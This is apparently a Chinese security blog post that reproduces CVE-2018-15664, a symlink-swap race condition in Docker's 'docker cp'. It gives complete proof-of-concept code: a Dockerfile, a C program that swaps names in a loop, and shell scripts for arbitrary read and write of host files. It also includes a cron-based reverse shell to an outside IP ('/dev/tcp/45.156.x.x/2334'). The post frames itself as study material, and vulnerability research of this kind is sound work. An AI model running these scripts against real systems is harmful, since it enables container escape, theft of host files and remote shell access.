符号连接替换漏洞复现

符号连接替换漏洞复现

h11ba1 巢安实验室 2024-04-04 22:50

简介
在18.06.1-ce-rc2版本之前的Docker中,docker cp命令对应的后端API存在基于竞争的符号链接替换漏洞,能够导致目录穿越。攻击者可以利用此漏洞以root权限实现宿主机文件系统的任意读写,CVSS 3.x评分为7.5分。漏洞原理CVE-2018-15664是一个TOCTOU(time-of-check to time-of-use)问题,属于竟态条件漏洞。这个问题指的是对象进行安全检查和使用该对象的步骤之间存在间隙,攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后立即使用恶意对象替换之前的合法对象。这样一来,目标程序真正使用的实际上是被替换后的恶意对象。漏洞原理流程图攻击首先利用合法文件进行合法校验,正常文件校验通过之后再把合法文件替换为恶意文件。达到恶意利用的目的。以上就是TOCTOU问题的原理。这个问题看起来很抽象,他在实际的攻防中如何实现呢?对于CVE-2018-15664来说,当用户执行docker cp命令后,Docker守护进程收到这个请求,就会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,留待后用。一眼看上去,该流程似乎很正常,但要考虑到容器内部环境不可控。如果Docker守护进程检查复制路径时,攻击者先在这里放置一个非符号链接的常规文件或目录(提供合法文件/xxx),检查结束后,攻击者赶在Docker守护进程使用这个路径前将其替换为一个符号链接(替换为/yyy恶意文件),那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。环境安装使用metarget进行安装SHELL1sudo ./metarget cnv install cve-2018-15664此时安装了具有cve-2018-15664漏洞的docker版本。复现该漏洞还需要启动一些docker镜像来进行验证。《云原生安全-攻防实践与体系构建》一书的配套靶场Poc:PLAINTEXT123456702-CVE-2018-15664/└── symlink_race ├── build │ ├── Dockerfile │ └── symlink_swap.c ├── run_read.sh └── run_write.shPocDockerfileDOCKERFILE123456789101112131415161718192021# 基于opensuse/leap进行构造FROM opensuse/leap# 安装gccRUN zypper in -y gcc glibc-devel-static# 创建/builddir目录RUN mkdir /builddir# 将宿主机的symlink_swap.c复制到容器的/builddir/symlink_swap.cCOPY symlink_swap.c /builddir/symlink_swap.c# 编译symlink_swap.c 为 symlink_swapRUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c# Set up our malicious rootfs.FROM opensuse/leap# ARG 构建参数,作用与ENV一致。不过作用域不一样,ARG只在Docker build过程中有效,生成的镜像内不存在此环境变量ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flagARG SYMSWAP_PATH=/totally_safe_pathRUN echo “FAILED — INSIDE CONTAINER PATH” >”$SYMSWAP_TARGET”# –from=0 把前一阶段构建的产物拷贝到当前镜像中COPY –from=0 /builddir/symlink_swap /symlink_swap# 类似CMD命令。在执行docker run时可以指定ENTRYPOINT 运行所需要的参数ENTRYPOINT [“/symlink_swap”]这个Dockerfile使用了多个from。多个FROM指令并不是为了生成多根的层关系,最后生成的镜像,仍以最后一条FROM为准。每一条FROM指令都是一个构建阶段,多条FROM就是多阶段构建,虽然最后生成的镜像只能是最后一个阶段的结果,但是能够将前置阶段中的文件拷贝到后边的阶段,这就是多阶段构建的最大意义。参考:https://segmentfault.com/a/1190000016137548所以这里的第一个FROM主要为了编译symlink_swap。symlink_swap.cC1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677#define _GNU_SOURCE#include #include #include #include #include #include #include #define usage() \ do { printf(“usage: symlink_swap \n”); exit(1); } while(0)#define bail(msg) \ do { perror(“symlink_swap: ” msg); exit(1); } while (0)/ No glibc wrapper for this, so wrap it ourselves. /#define RENAME_EXCHANGE (1 << 1)/int renameat2(int olddirfd, const char oldpath, int newdirfd, const char newpath, int flags){ return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);}// usage: symlink_swap /int main(int argc, char argv){// 命令行参数个数不等于2 if (argc != 2) usage();// 符号链接等于第一个参数 char symlink_path = argv[1];// 存储路径 char stash_path = NULL;// 存储路径不存在则bail(“create stash_path”) if (asprintf(&stash_path, “%s-stashed”, symlink_path) < 0) bail(“create stash_path”); / Create a dummy file at symlink_path. /// 在symlink_path 创建一个虚拟文件 struct stat sb = {0}; if (!lstat(symlink_path, &sb)) { int err; if (sb.st_mode & S_IFDIR) err = rmdir(symlink_path); else err = unlink(symlink_path); if (err < 0) bail(“unlink symlink_path”); } / * Now create a symlink to “/” (which will resolve to the host’s root if we * win the race) and a dummy directory at stash_path for us to swap with. * We use a directory to remove the possibility of ENOTDIR which reduces * the chance of us winning. / / 现在创建一个指向 “/” 的符号链接(如果我们赢得比赛,它将解析到主机的根目录)和一个 stash_path 的虚拟目录供我们交换。 我们使用目录来消除 ENOTDIR 的可能性,这会降低我们获胜的机会。 / if (symlink(“/”, symlink_path) < 0) bail(“create symlink_path”); if (mkdir(stash_path, 0755) < 0) bail(“mkdir stash_path”); / Now we do a RENAME_EXCHANGE forever. /// 不断重命名 for (;;) { int err = renameat2(AT_FDCWD, symlink_path, AT_FDCWD, stash_path, RENAME_EXCHANGE); if (err < 0) perror(“symlink_swap: rename exchange failed”); } return 0;}symlink_swap.c的任务是在容器内创建指向根目录/的符号链接,并不断地交换符号链接(由命令行参数传入,如/totally_safe_path)与一个正常目录(例如/totally_safe_path-stashed)的名字。这样一来,在宿主机上执行docker cp时,如果首先检查到/totally_safe_path是一个正常目录,但在后面执行复制操作时/totally_safe_path却变成了一个符号链接(需要读取/写入如的文件链接),那么Docker将在宿主机上解析这个符号链接。run_write.shSHELL1234567891011121314151617181920212223242526272829303132333435#!/bin/zsh# 需要此处需要注意,在linux执行的话,需要修改为#!/bin/bashSYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag# Create our flag.# 创建flag 到/w00t_w00t_im_a_flag文件echo “FAILED — HOST FILE UNCHANGED” | sudo tee “$SYMSWAP_TARGET”# 添加权限sudo chmod 0444 “$SYMSWAP_TARGET”# Run and build the malicious image.# 运行并构建恶意镜像# –tag, -t: 镜像的名字及标签,通常 name:tag 或者 name 格式;可以在一次构建中为一个镜像设置多个标签。# –rm :设置镜像成功后删除中间容器;# -d 后台运行docker build -t cyphar/symlink_swap \ –build-arg “SYMSWAP_PATH=$SYMSWAP_PATH” \ –build-arg “SYMSWAP_TARGET=$SYMSWAP_TARGET” build/#ctr_id=$(docker run –rm -d cyphar/symlink_swap “$SYMSWAP_PATH”)# 输出内容到当前目录的localpath文件echo “SUCCESS — HOST FILE CHANGED” | tee localpath# Now continually try to copy the files.# 拷贝文件,尝试触发漏洞while truedo# 从宿主机拷贝文件到容器# 触发条件竞争即可拷贝localpath到宿主机的$SYMSWAP_TARGET。达到低权限任意文件写的提权目的 docker cp localpath “${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET”done直接执行run_write.sh。会在创建内容为FAILED — HOST FILE UNCHANGED的/w00t_w00t_im_a_flag文件,权限为0444-r–r–r–只读。最后执行docker cp命令触发漏洞将localpath内容(SUCCESS – HOST FILE CHANGED)覆盖到/w00t_w00t_im_a_flag。达到低权限任意写文件的目的。可能的攻击场景:用户获取一个低权限账号,但是这个权限能够操控docker的(其实利用正如作者所说利用特权容器更加简单容易)。利用这个方式可向宿主机任意目录写入文件。通过写反弹shell到定时任务目录,写ssh私钥覆盖等方式能达到提权的目的。简单尝试了一下向ubuntu的定时任务写shell。DOCKERFILE1234567891011121314151617# Build the binary.FROM opensuse/leapRUN zypper in -y gcc glibc-devel-staticRUN mkdir /builddirCOPY symlink_swap.c /builddir/symlink_swap.cRUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c# Set up our malicious rootfs.FROM ubuntu:18.04# 需要操纵的宿主机路径ARG SYMSWAP_PATH=/var/spool/cron/crontabsARG SYMSWAP_TARGET=/rootRUN apt-get updateRUN apt-get install cron# RUN echo “FAILED — INSIDE CONTAINER PATH” >”$SYMSWAP_TARGET”COPY –from=0 /builddir/symlink_swap /symlink_swapENTRYPOINT [“/symlink_swap”]SHELL12345678910111213141516171819202122#!/bin/bashSYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/var/spool/cron/crontabs/root# Run and build the malicious image.docker build -t cyphar/symlink_swap \ –build-arg “SYMSWAP_PATH=$SYMSWAP_PATH” \ –build-arg “SYMSWAP_TARGET=$SYMSWAP_TARGET” build/ctr_id=$(docker run –rm -d cyphar/symlink_swap “$SYMSWAP_PATH”)# 定时任务shellecho “*/1 * * * * bash -c ‘bash -i >& /dev/tcp/45.156.x.x/2334 0>&1’ > /home/ubuntu/test.txt” | tee localpath# 拷贝文件,尝试触发漏洞while truedo# 从宿主机拷贝文件到容器# 触发条件竞争即可拷贝localpath到宿主机的$SYMSWAP_TARGET。达到低权限任意文件写的提权目的 docker cp localpath “${ctr_id}:$SYMSWAP_PATH$SYMSWAP_TARGET”done最后也没有尝试成功。有复现出来的大佬可以给留言评论探讨一下。run_read.shSHELL1234567891011121314151617181920212223SYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag# Create our flag.echo “SUCCESS — COPIED FROM THE HOST” | sudo tee “$SYMSWAP_TARGET”sudo chmod 000 “$SYMSWAP_TARGET”# Run and build the malicious image.docker build -t cyphar/symlink_swap \ –build-arg “SYMSWAP_PATH=$SYMSWAP_PATH” \ –build-arg “SYMSWAP_TARGET=$SYMSWAP_TARGET” build/ctr_id=$(docker run –rm -d cyphar/symlink_swap “$SYMSWAP_PATH”)# Now continually try to copy the files.idx=0while truedo mkdir “ex${idx}”# 拷贝容器的文件到宿主机# 这里触发条件竞争即可拷贝任意宿主机文件到ex${idx)/out。达到低权限任意读取宿主机文件的提权目的 docker cp “${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET” “ex${idx}/out” idx=$(($idx + 1))done这里触发条件竞争即可拷贝任意宿主机文件到ex${idx)/out。达到低权限任意读取宿主机文件的提权目的总体来说这个漏洞还是比较鸡肋,但是对于漏洞学习,研究来说还是很有价值的。参考《云原生安全:攻防实践与体系构建》

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。